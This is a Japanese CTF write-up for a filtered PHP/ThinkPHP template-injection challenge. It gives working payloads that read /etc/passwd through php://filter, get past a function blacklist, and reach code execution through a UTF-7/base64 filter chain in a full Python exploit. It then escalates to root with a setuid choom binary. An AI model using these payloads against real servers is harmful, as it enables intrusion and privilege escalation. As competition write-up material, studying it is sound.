12/19 - 12/21という日程で開催された。BunkyoWesternsで参加して9位。裏番組でTSG CTF 2025が開催されていたため、両方に出ていた。こちらは上位5チームが香港で開催される決勝大会に進める。うーん。
今年はBlack Bauhinia作問ではなくなってしまって、問題の方向性がかなり変わっていて悲しかった。本土の方のクオリティが低いCTFという感じの雰囲気だった。あと、48時間あるからと大量に問題を出すのは結構だけれども、(リリーススケジュールを事前に出していたけれども、だとしても)終了7時間前に問題を追加するのはどうかと思う。
[Web Exploitation 246] library (62 solves)
“I wrote a simple page to render your name.”
(問題サーバのURL)
ソースコードは与えられていない。ブラックボックスにやる必要があるようだ。writeupを書いている時点ですでに問題サーバにアクセスできず、スクリーンショットや詳細なメモを残していなかったし、また何も覚えていないのだけれども、name というクエリパラメータを入力するよう求められた気がする。?name=hoge だと、Hello, hoge のようなメッセージが表示される。
問題名等から察するに、SSTI(Server-Side Template Injection)でもやるのだろうと思う。{7*7}, {{7*7}}, {%7*7%} あたりのよくあるフォーマットを試したが、いずれもそのまま出力される。<?> を入力したときに Template Error: Syntax invalid or execution failed というエラーが出た。<?= 7*7 ?> で49と表示される。おそらくPHPなのだろう。
いろいろ試していたところ、php や include、( , ), `, ', " あたりの文字列や記号が含まれていた場合に Hacker detected! WAF block: Your input contains illegal characters/functions というエラーメッセージが表示され、弾かれることがわかった。フィルター付きのSSTI問らしい。
include は使えないけれども、require は使える。頑張って文字列を作ろうかと思ったけれども、$ が使えるので、$_GET[__LINE__] のようにしてクエリパラメータから簡単に別の文字列を参照できる。/?name=<?=%20require%20$_GET[__LINE__]%20?>&2=php://filter/read=convert.base64-encode/resource=/etc/passwd のようにして /etc/passwd を読むことができた。これでLFI(Local File Inclusion)問から任意コード実行に持ち込む問題になった。
ソースコードを手に入れよう。/var/www/html/public/index.php を読むと、次のようなコードが降ってきた。ThinkPHPという中国のフレームワークを使っていそうだ。
<?php // +---------------------------------------------------------------------- // | ThinkPHP [ WE CAN DO IT JUST THINK ] // +---------------------------------------------------------------------- // | Copyright (c) 2006-2019 http://thinkphp.cn All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: liu21st <liu21st@gmail.com> // +---------------------------------------------------------------------- use think\App; // [ 应用入口文件 ] require __DIR__ . '/../vendor/autoload.php'; // 执行HTTP应用并响应 $http = (new App())->http; $response = $http->run(); $response->send(); $http->end($response);
ThinkPHPで作られた実際のアプリのファイル構造を参考に色々読んでいく。/var/www/html/app/controller/Index.php に本体があった。なるほど、View::display("Hello, " . $name) というような感じでSSTIが発生しているのだなあ。
<?php namespace app\controller; use app\BaseController; use think\facade\View; use think\facade\Request; class Index extends BaseController { public function index() { // 获取输入 $name = Request::param('name', ''); if (empty($name)) { return "Please tell me your name: /?name=CTFer"; } $blacklist = '/system|exec|passthru|shell_exec|popen|proc_open|include|pcntl|eval|assert|call_user_func|create_function|putenv|getenv|error_log|dl|mail|symlink|link|chroot|scandir|dir|glob|readfile|file_get_contents|highlight_file|show_source|fopen|flag|cat|php|\(|\)|\'|\"|`/i'; if (preg_match($blacklist, $name)) { die("Hacker detected! WAF block: Your input contains illegal characters/functions."); } try { return View::display("Hello, " . $name); } catch (\Throwable $e) { // 发生错误时静默处理或返回通用错误,绝对不要将 $name 输出到日志中 return "Template Error: Syntax invalid or execution failed."; } } }
実行するコードを __FILE__ を出力する形にすると、/var/www/html/runtime/temp/fcfcfe559184b226f64c3cb167e1b810.php のようなパスが表示される。hexの部分はコードに変更を加えると変わるので、おそらくその部分はファイルの内容のハッシュ値かなにかなのだろう。また、php://filter/convert.base64-encode/resource=(得られたパス) を require することで、Base64エンコードされたそのファイルの内容が得られる。次のような感じだった。
<?php /*a:0:{}*/ ?> Hello, <?= __FILE__ ?>
では、どうやってOSコマンドの実行等、なんでもできる任意コード実行に持ち込むか。こういう感じでいけそう:
- (WAFに検知されないよう)PHPコードをBase64エンコードした文字列を含んだペイロードを
nameに仕込み、アクセスする__FILE__を出力するコードもそのペイロードに含ませておくことで、テンプレートのキャッシュのパスも得られるようにする(Base64エンコードした本命のコード) /// <?= __FILE__ ?>みたいな感じ
php://filterを使い、手順2で得られたファイルをBase64デコードさせつつ実行するphp://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode/resource=...というような感じ- なぜわざわざ最初にUTF-8からUTF-7に変換しているか。SynacktivのPHP filter chainの記事を読むとわかるけれども、
AA==BB==のようにイコールが変な場所に入っていると、Base64デコード時にエラーが発生してしまう。UTF-7にエンコードするとイコールを+AD0-のように「無害化」できる
できたexploitは次の通り。
import base64 import httpx TARGET = '(省略)' with httpx.Client(base_url=TARGET) as client: p = '<?= var_dump(system("ls -la")); exit(0); ?>' p = base64.b64encode(p.encode()).decode() r = client.get('/', params={ 'name': 'aaa' + p + '!@#<?= __FILE__ ?>' }) path = r.text[r.text.index('!@#')+3:] print(path) r = client.get('/', params={ 'name': '<?= require $_GET[__LINE__] ?>', '2': f'php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode/resource={path}' }) print(r.text)
ただ、ルートディレクトリやらドキュメントルートやらにフラグが見つからない。grep -rl (フラグフォーマット) / のようなことをしてもダメだった。Boot2Root的に、rootへの権限昇格が必要なのではないかとチーム内で話が出る。雑にスティッキービットが立っているファイルを探す。この中だと /usr/bin/choom が見かけない顔だ。
-rwxr-sr-x 1 root shadow 113848 Apr 19 2025 /usr/bin/chage -rwsr-xr-x 1 root root 70888 Apr 19 2025 /usr/bin/chfn -rwsr-xr-x 1 root root 55688 May 9 2025 /usr/bin/choom -rwsr-xr-x 1 root root 52936 Apr 19 2025 /usr/bin/chsh -rwxr-sr-x 1 root shadow 31256 Apr 19 2025 /usr/bin/expiry -rwsr-xr-x 1 root root 88568 Apr 19 2025 /usr/bin/gpasswd -rwsr-xr-x 1 root root 72072 May 9 2025 /usr/bin/mount -rwsr-xr-x 1 root root 18816 May 9 2025 /usr/bin/newgrp -rwsr-xr-x 1 root root 118168 Apr 19 2025 /usr/bin/passwd -rwsr-xr-x 1 root root 84360 May 9 2025 /usr/bin/su -rwsr-xr-x 1 root root 55688 May 9 2025 /usr/bin/umount -rwxr-sr-x 1 root _ssh 420224 Aug 1 15:02 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 494144 Aug 1 15:02 /usr/lib/openssh/ssh-keysign -rwxr-sr-x 1 root shadow 43256 Jun 29 17:40 /usr/sbin/unix_chkpwd
/usr/bin/choom -n 0 -- /usr/bin/cat /root/flag 2>&1 でフラグが得られた。
$ python3 s.py
/var/www/html/runtime/temp/3b186beadfeab9beffe8565b6d8f0918.php
Hello, ��␦��kO��@
����e���flag{yRthO39weQ0Lfa1PJV3RrtBdKWmSF9Hh}
flag{yRthO39weQ0Lfa1PJV3RrtBdKWmSF9Hh}